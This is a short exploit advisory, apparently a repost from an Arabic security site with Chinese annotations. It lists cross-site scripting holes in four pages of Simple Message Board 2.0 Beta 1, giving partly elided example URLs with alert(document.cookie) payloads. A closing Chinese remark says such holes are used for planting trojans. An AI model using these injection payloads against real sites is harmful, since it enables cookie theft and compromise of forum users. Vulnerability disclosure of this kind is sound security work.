文章作者：rUnViRuS
信息来源：www.security-arab.com

xss in forums
Simple Message Board Version 2.0 Beta 1
Powered by Man and Machine, Ltd
Exploit

XSS in forum.cfm

http://www.example.com/forum/for ... gt;JavaScript:alert(document.cookie);</scrip
t>

XSS in user.cfm

http://www.example.com/forum/use ... gt;JavaScript:alert(document.cookie);</script>

XSS in thread.cfm

http://www.example.com/forum/thr ... gt;JavaScript:alert(document.cookie);</scri
pt>

XSS IN search.cfm

http://www.example.com/forum/sea ... gt;JavaScript:alert(document.cookie);<
/script>

不是吧~?~老大~~~还要翻译吖~?

Simple Message Board 是俄罗斯的一个小型论坛程序~
在forum.cfm等等页面存在着CSS/XSS跨站脚本漏洞攻击
通常在国内都是用来进行挂马和小破坏~